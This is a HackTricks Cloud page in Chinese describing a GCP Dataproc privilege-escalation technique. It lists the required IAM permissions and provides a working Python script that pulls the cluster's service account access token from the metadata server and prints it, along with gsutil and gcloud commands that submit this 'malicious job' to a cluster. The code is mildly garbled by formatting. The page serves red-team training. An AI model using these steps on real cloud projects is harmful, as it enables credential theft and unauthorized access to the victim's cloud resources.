GCP Dataproc 权限提升
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Dataproc
dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get
我无法使用此方法获取 reverse shell,但可以通过下面描述的方法从 metadata endpoint leak SA token。
Steps to exploit
-
将 job 脚本放到 GCP Bucket 上
-
将 job 提交到 Dataproc cluster。
-
使用该 job 访问 metadata server。
-
Leak 集群使用的 service account token。
用于从 metadata server 获取 SA token 的 Python 脚本
```python import requestsmetadata_url = “http://metadata/computeMetadata/v1/instance/service-accounts/default/token” headers = {“Metadata-Flavor”: “Google”}
def fetch_metadata_token(): try: response = requests.get(metadata_url, headers=headers, timeout=5) response.raise_for_status() token = response.json().get(“access_token”, “”) print(f“Leaked Token: {token}“) return token except Exception as e: print(f“Error fetching metadata token: {e}”) return None
if name == “main”: fetch_metadata_token()
</details>
<details><summary>向 Dataproc 集群提交恶意作业</summary>
```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>
# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

